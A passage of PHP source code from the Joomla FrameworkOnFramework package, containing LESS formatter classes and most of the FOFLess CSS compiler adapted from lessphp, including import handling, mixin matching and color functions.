}
$this->indentLevel--;
}
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage less
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* This class is taken verbatim from:
*
* lessphp v0.3.9
* http://leafo.net/lessphp
*
* LESS css compiler, adapted from http://lesscss.org
*
* Copyright 2012, Leaf Corcoran <leafot@gmail.com>
* Licensed under MIT or GPLv3, see LICENSE
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFLessFormatterCompressed extends FOFLessFormatterClassic
{
public $disableSingle = true;
public $open = "{";
public $selectorSeparator = ",";
public $assignSeparator = ":";
public $break = "";
public $compressColors = true;
/**
* Indent a string by $n positions
*
* @param integer $n How many positions to indent
*
* @return string The indented string
*/
public function indentStr($n = 0)
{
return "";
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage less
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* This class is taken verbatim from:
*
* lessphp v0.3.9
* http://leafo.net/lessphp
*
* LESS css compiler, adapted from http://lesscss.org
*
* Copyright 2012, Leaf Corcoran <leafot@gmail.com>
* Licensed under MIT or GPLv3, see LICENSE
*
* @package FrameworkOnFramework
* @since 2.1
*/
class FOFLessFormatterJoomla extends FOFLessFormatterClassic
{
public $disableSingle = true;
public $breakSelectors = true;
public $assignSeparator = ": ";
public $selectorSeparator = ",";
public $indentChar = "\t";
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage less
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* This class is taken verbatim from:
*
* lessphp v0.3.9
* http://leafo.net/lessphp
*
* LESS css compiler, adapted from http://lesscss.org
*
* Copyright 2012, Leaf Corcoran <leafot@gmail.com>
* Licensed under MIT or GPLv3, see LICENSE
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFLessFormatterLessjs extends FOFLessFormatterClassic
{
public $disableSingle = true;
public $breakSelectors = true;
public $assignSeparator = ": ";
public $selectorSeparator = ",";
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage less
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* This class is taken near verbatim (changes marked with **FOF** comment
markers) from:
*
* lessphp v0.3.9
* http://leafo.net/lessphp
*
* LESS css compiler, adapted from http://lesscss.org
*
* Copyright 2012, Leaf Corcoran <leafot@gmail.com>
* Licensed under MIT or GPLv3, see LICENSE
*
* THIS IS THIRD PARTY CODE. Code comments are mostly useless placeholders
to
* stop phpcs from complaining...
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFLess
{
public static $VERSION = "v0.3.9";
protected static $TRUE = array("keyword", "true");
protected static $FALSE = array("keyword", "false");
protected $libFunctions = array();
protected $registeredVars = array();
protected $preserveComments = false;
/**
* Prefix of abstract properties
*
* @var string
*/
public $vPrefix = '@';
/**
* Prefix of abstract blocks
*
* @var string
*/
public $mPrefix = '$';
public $parentSelector = '&';
public $importDisabled = false;
public $importDir = '';
protected $numberPrecision = null;
/**
* Set to the parser that generated the current line when compiling
* so we know how to create error messages
*
* @var FOFLessParser
*/
protected $sourceParser = null;
protected $sourceLoc = null;
public static $defaultValue = array("keyword", "");
/**
* Uniquely identify imports
*
* @var integer
*/
protected static $nextImportId = 0;
/**
* Attempts to find the path of an import url, returns null for css files
*
* @param string $url The URL of the import
*
* @return string|null
*/
protected function findImport($url)
{
foreach ((array) $this->importDir as $dir)
{
$full = $dir . (substr($dir, -1) != '/' ? '/' :
'') . $url;
if ($this->fileExists($file = $full . '.less') ||
$this->fileExists($file = $full))
{
return $file;
}
}
return null;
}
/**
* Does file $name exists? It's a simple proxy to JFile for now
*
* @param string $name The file we check for existence
*
* @return boolean
*/
protected function fileExists($name)
{
/** FOF - BEGIN CHANGE * */
return
FOFPlatform::getInstance()->getIntegrationObject('filesystem')->fileExists($name);
/** FOF - END CHANGE * */
}
/**
* Compresslist
*
* @param array $items Items
* @param string $delim Delimiter
*
* @return array
*/
public static function compressList($items, $delim)
{
if (!isset($items[1]) && isset($items[0]))
{
return $items[0];
}
else
{
return array('list', $delim, $items);
}
}
/**
* Quote for regular expression
*
* @param string $what What to quote
*
* @return string Quoted string
*/
public static function preg_quote($what)
{
return preg_quote($what, '/');
}
/**
* Try import
*
* @param string $importPath Import path
* @param stdObject $parentBlock Parent block
* @param string $out Out
*
* @return boolean
*/
protected function tryImport($importPath, $parentBlock, $out)
{
if ($importPath[0] == "function" && $importPath[1] ==
"url")
{
$importPath = $this->flattenList($importPath[2]);
}
$str = $this->coerceString($importPath);
if ($str === null)
{
return false;
}
$url = $this->compileValue($this->lib_e($str));
// Don't import if it ends in css
if (substr_compare($url, '.css', -4, 4) === 0)
{
return false;
}
$realPath = $this->findImport($url);
if ($realPath === null)
{
return false;
}
if ($this->importDisabled)
{
return array(false, "/* import disabled */");
}
$this->addParsedFile($realPath);
$parser = $this->makeParser($realPath);
$root = $parser->parse(file_get_contents($realPath));
// Set the parents of all the block props
foreach ($root->props as $prop)
{
if ($prop[0] == "block")
{
$prop[1]->parent = $parentBlock;
}
}
/**
* Copy mixins into scope, set their parents, bring blocks from import
* into current block
* TODO: need to mark the source parser these came from this file
*/
foreach ($root->children as $childName => $child)
{
if (isset($parentBlock->children[$childName]))
{
$parentBlock->children[$childName] = array_merge(
$parentBlock->children[$childName], $child
);
}
else
{
$parentBlock->children[$childName] = $child;
}
}
$pi = pathinfo($realPath);
$dir = $pi["dirname"];
list($top, $bottom) = $this->sortProps($root->props, true);
$this->compileImportedProps($top, $parentBlock, $out, $parser, $dir);
return array(true, $bottom, $parser, $dir);
}
/**
* Compile Imported Props
*
* @param array $props Props
* @param stdClass $block Block
* @param string $out Out
* @param FOFLessParser $sourceParser Source parser
* @param string $importDir Import dir
*
* @return void
*/
protected function compileImportedProps($props, $block, $out,
$sourceParser, $importDir)
{
$oldSourceParser = $this->sourceParser;
$oldImport = $this->importDir;
// TODO: this is because the importDir api is stupid
$this->importDir = (array) $this->importDir;
array_unshift($this->importDir, $importDir);
foreach ($props as $prop)
{
$this->compileProp($prop, $block, $out);
}
$this->importDir = $oldImport;
$this->sourceParser = $oldSourceParser;
}
/**
* Recursively compiles a block.
*
* A block is analogous to a CSS block in most cases. A single LESS
document
* is encapsulated in a block when parsed, but it does not have parent
tags
* so all of it's children appear on the root level when compiled.
*
* Blocks are made up of props and children.
*
* Props are property instructions, array tuples which describe an action
* to be taken, eg. write a property, set a variable, mixin a block.
*
* The children of a block are just all the blocks that are defined
within.
* This is used to look up mixins when performing a mixin.
*
* Compiling the block involves pushing a fresh environment on the stack,
* and iterating through the props, compiling each one.
*
* @param stdClass $block Block
*
* @see FOFLess::compileProp()
*
* @return void
*/
protected function compileBlock($block)
{
switch ($block->type)
{
case "root":
$this->compileRoot($block);
break;
case null:
$this->compileCSSBlock($block);
break;
case "media":
$this->compileMedia($block);
break;
case "directive":
$name = "@" . $block->name;
if (!empty($block->value))
{
$name .= " " .
$this->compileValue($this->reduce($block->value));
}
$this->compileNestedBlock($block, array($name));
break;
default:
$this->throwError("unknown block type:
$block->type\n");
}
}
/**
* Compile CSS block
*
* @param stdClass $block Block to compile
*
* @return void
*/
protected function compileCSSBlock($block)
{
$env = $this->pushEnv();
$selectors = $this->compileSelectors($block->tags);
$env->selectors = $this->multiplySelectors($selectors);
$out = $this->makeOutputBlock(null, $env->selectors);
$this->scope->children[] = $out;
$this->compileProps($block, $out);
// Mixins carry scope with them!
$block->scope = $env;
$this->popEnv();
}
/**
* Compile media
*
* @param stdClass $media Media
*
* @return void
*/
protected function compileMedia($media)
{
$env = $this->pushEnv($media);
$parentScope = $this->mediaParent($this->scope);
$query = $this->compileMediaQuery($this->multiplyMedia($env));
$this->scope = $this->makeOutputBlock($media->type,
array($query));
$parentScope->children[] = $this->scope;
$this->compileProps($media, $this->scope);
if (count($this->scope->lines) > 0)
{
$orphanSelelectors = $this->findClosestSelectors();
if (!is_null($orphanSelelectors))
{
$orphan = $this->makeOutputBlock(null, $orphanSelelectors);
$orphan->lines = $this->scope->lines;
array_unshift($this->scope->children, $orphan);
$this->scope->lines = array();
}
}
$this->scope = $this->scope->parent;
$this->popEnv();
}
/**
* Media parent
*
* @param stdClass $scope Scope
*
* @return stdClass
*/
protected function mediaParent($scope)
{
while (!empty($scope->parent))
{
if (!empty($scope->type) && $scope->type !=
"media")
{
break;
}
$scope = $scope->parent;
}
return $scope;
}
/**
* Compile nested block
*
* @param stdClass $block Block
* @param array $selectors Selectors
*
* @return void
*/
protected function compileNestedBlock($block, $selectors)
{
$this->pushEnv($block);
$this->scope = $this->makeOutputBlock($block->type, $selectors);
$this->scope->parent->children[] = $this->scope;
$this->compileProps($block, $this->scope);
$this->scope = $this->scope->parent;
$this->popEnv();
}
/**
* Compile root
*
* @param stdClass $root Root
*
* @return void
*/
protected function compileRoot($root)
{
$this->pushEnv();
$this->scope = $this->makeOutputBlock($root->type);
$this->compileProps($root, $this->scope);
$this->popEnv();
}
/**
* Compile props
*
* @param type $block Something
* @param type $out Something
*
* @return void
*/
protected function compileProps($block, $out)
{
foreach ($this->sortProps($block->props) as $prop)
{
$this->compileProp($prop, $block, $out);
}
}
/**
* Sort props
*
* @param type $props X
* @param type $split X
*
* @return type
*/
protected function sortProps($props, $split = false)
{
$vars = array();
$imports = array();
$other = array();
foreach ($props as $prop)
{
switch ($prop[0])
{
case "assign":
if (isset($prop[1][0]) && $prop[1][0] == $this->vPrefix)
{
$vars[] = $prop;
}
else
{
$other[] = $prop;
}
break;
case "import":
$id = self::$nextImportId++;
$prop[] = $id;
$imports[] = $prop;
$other[] = array("import_mixin", $id);
break;
default:
$other[] = $prop;
}
}
if ($split)
{
return array(array_merge($vars, $imports), $other);
}
else
{
return array_merge($vars, $imports, $other);
}
}
/**
* Compile media query
*
* @param type $queries Queries
*
* @return string
*/
protected function compileMediaQuery($queries)
{
$compiledQueries = array();
foreach ($queries as $query)
{
$parts = array();
foreach ($query as $q)
{
switch ($q[0])
{
case "mediaType":
$parts[] = implode(" ", array_slice($q, 1));
break;
case "mediaExp":
if (isset($q[2]))
{
$parts[] = "($q[1]: " .
$this->compileValue($this->reduce($q[2])) . ")";
}
else
{
$parts[] = "($q[1])";
}
break;
case "variable":
$parts[] = $this->compileValue($this->reduce($q));
break;
}
}
if (count($parts) > 0)
{
$compiledQueries[] = implode(" and ", $parts);
}
}
$out = "@media";
if (!empty($parts))
{
$out .= " " .
implode($this->formatter->selectorSeparator, $compiledQueries);
}
return $out;
}
/**
* Multiply media
*
* @param type $env X
* @param type $childQueries X
*
* @return type
*/
protected function multiplyMedia($env, $childQueries = null)
{
if (is_null($env)
|| !empty($env->block->type)
&& $env->block->type != "media")
{
return $childQueries;
}
// Plain old block, skip
if (empty($env->block->type))
{
return $this->multiplyMedia($env->parent, $childQueries);
}
$out = array();
$queries = $env->block->queries;
if (is_null($childQueries))
{
$out = $queries;
}
else
{
foreach ($queries as $parent)
{
foreach ($childQueries as $child)
{
$out[] = array_merge($parent, $child);
}
}
}
return $this->multiplyMedia($env->parent, $out);
}
/**
* Expand parent selectors
*
* @param type &$tag Tag
* @param type $replace Replace
*
* @return type
*/
protected function expandParentSelectors(&$tag, $replace)
{
$parts = explode("$&$", $tag);
$count = 0;
foreach ($parts as &$part)
{
$part = str_replace($this->parentSelector, $replace, $part, $c);
$count += $c;
}
$tag = implode($this->parentSelector, $parts);
return $count;
}
/**
* Find closest selectors
*
* @return array
*/
protected function findClosestSelectors()
{
$env = $this->env;
$selectors = null;
while ($env !== null)
{
if (isset($env->selectors))
{
$selectors = $env->selectors;
break;
}
$env = $env->parent;
}
return $selectors;
}
/**
* Multiply $selectors against the nearest selectors in env
*
* @param array $selectors The selectors
*
* @return array
*/
protected function multiplySelectors($selectors)
{
// Find parent selectors
$parentSelectors = $this->findClosestSelectors();
if (is_null($parentSelectors))
{
// Kill parent reference in top level selector
foreach ($selectors as &$s)
{
$this->expandParentSelectors($s, "");
}
return $selectors;
}
$out = array();
foreach ($parentSelectors as $parent)
{
foreach ($selectors as $child)
{
$count = $this->expandParentSelectors($child, $parent);
// Don't prepend the parent tag if & was used
if ($count > 0)
{
$out[] = trim($child);
}
else
{
$out[] = trim($parent . ' ' . $child);
}
}
}
return $out;
}
/**
* Reduces selector expressions
*
* @param array $selectors The selector expressions
*
* @return array
*/
protected function compileSelectors($selectors)
{
$out = array();
foreach ($selectors as $s)
{
if (is_array($s))
{
list(, $value) = $s;
$out[] = trim($this->compileValue($this->reduce($value)));
}
else
{
$out[] = $s;
}
}
return $out;
}
/**
* Equality check
*
* @param mixed $left Left operand
* @param mixed $right Right operand
*
* @return boolean True if equal
*/
protected function eq($left, $right)
{
return $left == $right;
}
/**
* Pattern match
*
* @param type $block X
* @param type $callingArgs X
*
* @return boolean
*/
protected function patternMatch($block, $callingArgs)
{
/**
* Match the guards if it has them
* any one of the groups must have all its guards pass for a match
*/
if (!empty($block->guards))
{
$groupPassed = false;
foreach ($block->guards as $guardGroup)
{
foreach ($guardGroup as $guard)
{
$this->pushEnv();
$this->zipSetArgs($block->args, $callingArgs);
$negate = false;
if ($guard[0] == "negate")
{
$guard = $guard[1];
$negate = true;
}
$passed = $this->reduce($guard) == self::$TRUE;
if ($negate)
{
$passed = !$passed;
}
$this->popEnv();
if ($passed)
{
$groupPassed = true;
}
else
{
$groupPassed = false;
break;
}
}
if ($groupPassed)
{
break;
}
}
if (!$groupPassed)
{
return false;
}
}
$numCalling = count($callingArgs);
if (empty($block->args))
{
return $block->isVararg || $numCalling == 0;
}
// No args
$i = -1;
// Try to match by arity or by argument literal
foreach ($block->args as $i => $arg)
{
switch ($arg[0])
{
case "lit":
if (empty($callingArgs[$i]) || !$this->eq($arg[1],
$callingArgs[$i]))
{
return false;
}
break;
case "arg":
// No arg and no default value
if (!isset($callingArgs[$i]) && !isset($arg[2]))
{
return false;
}
break;
case "rest":
// Rest can be empty
$i--;
break 2;
}
}
if ($block->isVararg)
{
// Not having enough is handled above
return true;
}
else
{
$numMatched = $i + 1;
// Greater than becuase default values always match
return $numMatched >= $numCalling;
}
}
/**
* Pattern match all
*
* @param type $blocks X
* @param type $callingArgs X
*
* @return type
*/
protected function patternMatchAll($blocks, $callingArgs)
{
$matches = null;
foreach ($blocks as $block)
{
if ($this->patternMatch($block, $callingArgs))
{
$matches[] = $block;
}
}
return $matches;
}
/**
* Attempt to find blocks matched by path and args
*
* @param array $searchIn Block to search in
* @param string $path The path to search for
* @param array $args Arguments
* @param array $seen Your guess is as good as mine; that's
third party code
*
* @return null
*/
protected function findBlocks($searchIn, $path, $args, $seen = array())
{
if ($searchIn == null)
{
return null;
}
if (isset($seen[$searchIn->id]))
{
return null;
}
$seen[$searchIn->id] = true;
$name = $path[0];
if (isset($searchIn->children[$name]))
{
$blocks = $searchIn->children[$name];
if (count($path) == 1)
{
$matches = $this->patternMatchAll($blocks, $args);
if (!empty($matches))
{
// This will return all blocks that match in the closest
// scope that has any matching block, like lessjs
return $matches;
}
}
else
{
$matches = array();
foreach ($blocks as $subBlock)
{
$subMatches = $this->findBlocks($subBlock, array_slice($path, 1),
$args, $seen);
if (!is_null($subMatches))
{
foreach ($subMatches as $sm)
{
$matches[] = $sm;
}
}
}
return count($matches) > 0 ? $matches : null;
}
}
if ($searchIn->parent === $searchIn)
{
return null;
}
return $this->findBlocks($searchIn->parent, $path, $args, $seen);
}
/**
* Sets all argument names in $args to either the default value
* or the one passed in through $values
*
* @param array $args Arguments
* @param array $values Values
*
* @return void
*/
protected function zipSetArgs($args, $values)
{
$i = 0;
$assignedValues = array();
foreach ($args as $a)
{
if ($a[0] == "arg")
{
if ($i < count($values) && !is_null($values[$i]))
{
$value = $values[$i];
}
elseif (isset($a[2]))
{
$value = $a[2];
}
else
{
$value = null;
}
$value = $this->reduce($value);
$this->set($a[1], $value);
$assignedValues[] = $value;
}
$i++;
}
// Check for a rest
$last = end($args);
if ($last[0] == "rest")
{
$rest = array_slice($values, count($args) - 1);
$this->set($last[1], $this->reduce(array("list", "
", $rest)));
}
$this->env->arguments = $assignedValues;
}
/**
* Compile a prop and update $lines or $blocks appropriately
*
* @param array $prop Prop
* @param stdClass $block Block
* @param string $out Out
*
* @return void
*/
protected function compileProp($prop, $block, $out)
{
// Set error position context
$this->sourceLoc = isset($prop[-1]) ? $prop[-1] : -1;
switch ($prop[0])
{
case 'assign':
list(, $name, $value) = $prop;
if ($name[0] == $this->vPrefix)
{
$this->set($name, $value);
}
else
{
$out->lines[] = $this->formatter->property($name,
$this->compileValue($this->reduce($value)));
}
break;
case 'block':
list(, $child) = $prop;
$this->compileBlock($child);
break;
case 'mixin':
list(, $path, $args, $suffix) = $prop;
$args = array_map(array($this, "reduce"), (array) $args);
$mixins = $this->findBlocks($block, $path, $args);
if ($mixins === null)
{
// Throw error here??
break;
}
foreach ($mixins as $mixin)
{
$haveScope = false;
if (isset($mixin->parent->scope))
{
$haveScope = true;
$mixinParentEnv = $this->pushEnv();
$mixinParentEnv->storeParent = $mixin->parent->scope;
}
$haveArgs = false;
if (isset($mixin->args))
{
$haveArgs = true;
$this->pushEnv();
$this->zipSetArgs($mixin->args, $args);
}
$oldParent = $mixin->parent;
if ($mixin != $block)
{
$mixin->parent = $block;
}
foreach ($this->sortProps($mixin->props) as $subProp)
{
if ($suffix !== null
&& $subProp[0] == "assign"
&& is_string($subProp[1])
&& $subProp[1][0] != $this->vPrefix)
{
$subProp[2] = array(
'list', ' ',
array($subProp[2], array('keyword', $suffix))
);
}
$this->compileProp($subProp, $mixin, $out);
}
$mixin->parent = $oldParent;
if ($haveArgs)
{
$this->popEnv();
}
if ($haveScope)
{
$this->popEnv();
}
}
break;
case 'raw':
$out->lines[] = $prop[1];
break;
case "directive":
list(, $name, $value) = $prop;
$out->lines[] = "@$name " .
$this->compileValue($this->reduce($value)) . ';';
break;
case "comment":
$out->lines[] = $prop[1];
break;
case "import";
list(, $importPath, $importId) = $prop;
$importPath = $this->reduce($importPath);
if (!isset($this->env->imports))
{
$this->env->imports = array();
}
$result = $this->tryImport($importPath, $block, $out);
$this->env->imports[$importId] = $result === false ?
array(false, "@import " .
$this->compileValue($importPath) . ";") :
$result;
break;
case "import_mixin":
list(, $importId) = $prop;
$import = $this->env->imports[$importId];
if ($import[0] === false)
{
$out->lines[] = $import[1];
}
else
{
list(, $bottom, $parser, $importDir) = $import;
$this->compileImportedProps($bottom, $block, $out, $parser,
$importDir);
}
break;
default:
$this->throwError("unknown op: {$prop[0]}\n");
}
}
/**
* Compiles a primitive value into a CSS property value.
*
* Values in lessphp are typed by being wrapped in arrays, their format is
* typically:
*
* array(type, contents [, additional_contents]*)
*
* The input is expected to be reduced. This function will not work on
* things like expressions and variables.
*
* @param array $value Value
*
* @return void
*/
protected function compileValue($value)
{
switch ($value[0])
{
case 'list':
// [1] - delimiter
// [2] - array of values
return implode($value[1], array_map(array($this,
'compileValue'), $value[2]));
case 'raw_color':
if (!empty($this->formatter->compressColors))
{
return $this->compileValue($this->coerceColor($value));
}
return $value[1];
case 'keyword':
// [1] - the keyword
return $value[1];
case 'number':
// Format: [1] - the number -- [2] - the unit
list(, $num, $unit) = $value;
if ($this->numberPrecision !== null)
{
$num = round($num, $this->numberPrecision);
}
return $num . $unit;
case 'string':
// [1] - contents of string (includes quotes)
list(, $delim, $content) = $value;
foreach ($content as &$part)
{
if (is_array($part))
{
$part = $this->compileValue($part);
}
}
return $delim . implode($content) . $delim;
case 'color':
/**
* Format:
*
* [1] - red component (either number or a %)
* [2] - green component
* [3] - blue component
* [4] - optional alpha component
*/
list(, $r, $g, $b) = $value;
$r = round($r);
$g = round($g);
$b = round($b);
if (count($value) == 5 && $value[4] != 1)
{
// Return an rgba value
return 'rgba(' . $r . ',' . $g . ',' .
$b . ',' . $value[4] . ')';
}
$h = sprintf("#%02x%02x%02x", $r, $g, $b);
if (!empty($this->formatter->compressColors))
{
// Converting hex color to short notation (e.g. #003399 to #039)
if ($h[1] === $h[2] && $h[3] === $h[4] && $h[5] ===
$h[6])
{
$h = '#' . $h[1] . $h[3] . $h[5];
}
}
return $h;
case 'function':
list(, $name, $args) = $value;
return $name . '(' . $this->compileValue($args) .
')';
default:
// Assumed to be unit
$this->throwError("unknown value type: $value[0]");
}
}
/**
* Lib is number
*
* @param type $value X
*
* @return boolean
*/
protected function lib_isnumber($value)
{
return $this->toBool($value[0] == "number");
}
/**
* Lib is string
*
* @param type $value X
*
* @return boolean
*/
protected function lib_isstring($value)
{
return $this->toBool($value[0] == "string");
}
/**
* Lib is color
*
* @param type $value X
*
* @return boolean
*/
protected function lib_iscolor($value)
{
return $this->toBool($this->coerceColor($value));
}
/**
* Lib is keyword
*
* @param type $value X
*
* @return boolean
*/
protected function lib_iskeyword($value)
{
return $this->toBool($value[0] == "keyword");
}
/**
* Lib is pixel
*
* @param type $value X
*
* @return boolean
*/
protected function lib_ispixel($value)
{
return $this->toBool($value[0] == "number" &&
$value[2] == "px");
}
/**
* Lib is percentage
*
* @param type $value X
*
* @return boolean
*/
protected function lib_ispercentage($value)
{
return $this->toBool($value[0] == "number" &&
$value[2] == "%");
}
/**
* Lib is em
*
* @param type $value X
*
* @return boolean
*/
protected function lib_isem($value)
{
return $this->toBool($value[0] == "number" &&
$value[2] == "em");
}
/**
* Lib is rem
*
* @param type $value X
*
* @return boolean
*/
protected function lib_isrem($value)
{
return $this->toBool($value[0] == "number" &&
$value[2] == "rem");
}
/**
* LIb rgba hex
*
* @param type $color X
*
* @return boolean
*/
protected function lib_rgbahex($color)
{
$color = $this->coerceColor($color);
if (is_null($color))
{
$this->throwError("color expected for rgbahex");
}
return sprintf("#%02x%02x%02x%02x", isset($color[4]) ?
$color[4] * 255 : 255, $color[1], $color[2], $color[3]);
}
/**
* Lib argb
*
* @param type $color X
*
* @return type
*/
protected function lib_argb($color)
{
return $this->lib_rgbahex($color);
}
/**
* Utility func to unquote a string
*
* @param string $arg Arg
*
* @return string
*/
protected function lib_e($arg)
{
switch ($arg[0])
{
case "list":
$items = $arg[2];
if (isset($items[0]))
{
return $this->lib_e($items[0]);
}
return self::$defaultValue;
case "string":
$arg[1] = "";
return $arg;
case "keyword":
return $arg;
default:
return array("keyword", $this->compileValue($arg));
}
}
/**
* Lib sprintf
*
* @param type $args X
*
* @return type
*/
protected function lib__sprintf($args)
{
if ($args[0] != "list")
{
return $args;
}
$values = $args[2];
$string = array_shift($values);
$template = $this->compileValue($this->lib_e($string));
$i = 0;
if (preg_match_all('/%[dsa]/', $template, $m))
{
foreach ($m[0] as $match)
{
$val = isset($values[$i]) ?
$this->reduce($values[$i]) : array('keyword',
'');
// Lessjs compat, renders fully expanded color, not raw color
if ($color = $this->coerceColor($val))
{
$val = $color;
}
$i++;
$rep = $this->compileValue($this->lib_e($val));
$template = preg_replace('/' . self::preg_quote($match) .
'/', $rep, $template, 1);
}
}
$d = $string[0] == "string" ? $string[1] : '"';
return array("string", $d, array($template));
}
/**
* Lib floor
*
* @param type $arg X
*
* @return array
*/
protected function lib_floor($arg)
{
$value = $this->assertNumber($arg);
return array("number", floor($value), $arg[2]);
}
/**
* Lib ceil
*
* @param type $arg X
*
* @return array
*/
protected function lib_ceil($arg)
{
$value = $this->assertNumber($arg);
return array("number", ceil($value), $arg[2]);
}
/**
* Lib round
*
* @param type $arg X
*
* @return array
*/
protected function lib_round($arg)
{
$value = $this->assertNumber($arg);
return array("number", round($value), $arg[2]);
}
/**
* Lib unit
*
* @param type $arg X
*
* @return array
*/
protected function lib_unit($arg)
{
if ($arg[0] == "list")
{
list($number, $newUnit) = $arg[2];
return array("number", $this->assertNumber($number),
$this->compileValue($this->lib_e($newUnit)));
}
else
{
return array("number", $this->assertNumber($arg),
"");
}
}
/**
* Helper function to get arguments for color manipulation functions.
* takes a list that contains a color like thing and a percentage
*
* @param array $args Args
*
* @return array
*/
protected function colorArgs($args)
{
if ($args[0] != 'list' || count($args[2]) < 2)
{
return array(array('color', 0, 0, 0), 0);
}
list($color, $delta) = $args[2];
$color = $this->assertColor($color);
$delta = floatval($delta[1]);
return array($color, $delta);
}
/**
* Lib darken
*
* @param type $args X
*
* @return type
*/
protected function lib_darken($args)
{
list($color, $delta) = $this->colorArgs($args);
$hsl = $this->toHSL($color);
$hsl[3] = $this->clamp($hsl[3] - $delta, 100);
return $this->toRGB($hsl);
}
/**
* Lib lighten
*
* @param type $args X
*
* @return type
*/
protected function lib_lighten($args)
{
list($color, $delta) = $this->colorArgs($args);
$hsl = $this->toHSL($color);
$hsl[3] = $this->clamp($hsl[3] + $delta, 100);
return $this->toRGB($hsl);
}
/**
* Lib saturate
*
* @param type $args X
*
* @return type
*/
protected function lib_saturate($args)
{
list($color, $delta) = $this->colorArgs($args);
$hsl = $this->toHSL($color);
$hsl[2] = $this->clamp($hsl[2] + $delta, 100);
return $this->toRGB($hsl);
}
/**
* Lib desaturate
*
* @param type $args X
*
* @return type
*/
protected function lib_desaturate($args)
{
list($color, $delta) = $this->colorArgs($args);
$hsl = $this->toHSL($color);
$hsl[2] = $this->clamp($hsl[2] - $delta, 100);
return $this->toRGB($hsl);
}
/**
* Lib spin
*
* @param type $args X
*
* @return type
*/
protected function lib_spin($args)
{
list($color, $delta) = $this->colorArgs($args);
$hsl = $this->toHSL($color);
$hsl[1] = $hsl[1] + $delta % 360;
if ($hsl[1] < 0)
{
$hsl[1] += 360;
}
return $this->toRGB($hsl);
}
/**
* Lib fadeout
*
* @param type $args X
*
* @return type
*/
protected function lib_fadeout($args)
{
list($color, $delta) = $this->colorArgs($args);
$color[4] = $this->clamp((isset($color[4]) ? $color[4] : 1) - $delta /
100);
return $color;
}
/**
* Lib fadein
*
* @param type $args X
*
* @return type
*/
protected function lib_fadein($args)
{
list($color, $delta) = $this->colorArgs($args);
$color[4] = $this->clamp((isset($color[4]) ? $color[4] : 1) + $delta /
100);
return $color;
}
/**
* Lib hue
*
* @param type $color X
*
* @return type
*/
protected function lib_hue($color)
{
$hsl = $this->toHSL($this->assertColor($color));
return round($hsl[1]);
}
/**
* Lib saturation
*
* @param type $color X
*
* @return type
*/
protected function lib_saturation($color)
{
$hsl = $this->toHSL($this->assertColor($color));
return round($hsl[2]);
}
/**
* Lib lightness
*
* @param type $color X
*
* @return type
*/
protected function lib_lightness($color)
{
$hsl = $this->toHSL($this->assertColor($color));
return round($hsl[3]);
}
/**
* Get the alpha of a color
* Defaults to 1 for non-colors or colors without an alpha
*
* @param string $value Value
*
* @return string
*/
protected function lib_alpha($value)
{
if (!is_null($color = $this->coerceColor($value)))
{
return isset($color[4]) ? $color[4] : 1;
}
}
/**
* Set the alpha of the color
*
* @param array $args Args
*
* @return string
*/
protected function lib_fade($args)
{
list($color, $alpha) = $this->colorArgs($args);
$color[4] = $this->clamp($alpha / 100.0);
return $color;
}
/**
* Third party code; your guess is as good as mine
*
* @param array $arg Arg
*
* @return string
*/
protected function lib_percentage($arg)
{
$num = $this->assertNumber($arg);
return array("number", $num * 100, "%");
}
/**
* mixes two colors by weight
* mix(@color1, @color2, @weight);
*
http://sass-lang.com/docs/yardoc/Sass/Script/Functions.html#mix-instance_method
*
* @param array $args Args
*
* @return string
*/
protected function lib_mix($args)
{
if ($args[0] != "list" || count($args[2]) < 3)
{
$this->throwError("mix expects (color1, color2, weight)");
}
list($first, $second, $weight) = $args[2];
$first = $this->assertColor($first);
$second = $this->assertColor($second);
$first_a = $this->lib_alpha($first);
$second_a = $this->lib_alpha($second);
$weight = $weight[1] / 100.0;
$w = $weight * 2 - 1;
$a = $first_a - $second_a;
$w1 = (($w * $a == -1 ? $w : ($w + $a) / (1 + $w * $a)) + 1) / 2.0;
$w2 = 1.0 - $w1;
$new = array('color',
$w1 * $first[1] + $w2 * $second[1],
$w1 * $first[2] + $w2 * $second[2],
$w1 * $first[3] + $w2 * $second[3],
);
if ($first_a != 1.0 || $second_a != 1.0)
{
$new[] = $first_a * $weight + $second_a * ($weight - 1);
}
return $this->fixColor($new);
}
/**
* Third party code; your guess is as good as mine
*
* @param array $arg Arg
*
* @return string
*/
protected function lib_contrast($args)
{
if ($args[0] != 'list' || count($args[2]) < 3)
{
return array(array('color', 0, 0, 0), 0);
}
list($inputColor, $darkColor, $lightColor) = $args[2];
$inputColor = $this->assertColor($inputColor);
$darkColor = $this->assertColor($darkColor);
$lightColor = $this->assertColor($lightColor);
$hsl = $this->toHSL($inputColor);
if ($hsl[3] > 50)
{
return $darkColor;
}
return $lightColor;
}
/**
* Assert color
*
* @param type $value X
* @param type $error X
*
* @return type
*/
protected function assertColor($value, $error = "expected color
value")
{
$color = $this->coerceColor($value);
if (is_null($color))
{
$this->throwError($error);
}
return $color;
}
/**
* Assert number
*
* @param type $value X
* @param type $error X
*
* @return type
*/
protected function assertNumber($value, $error = "expecting
number")
{
if ($value[0] == "number")
{
return $value[1];
}
$this->throwError($error);
}
/**
* To HSL
*
* @param type $color X
*
* @return type
*/
protected function toHSL($color)
{
if ($color[0] == 'hsl')
{
return $color;
}
$r = $color[1] / 255;
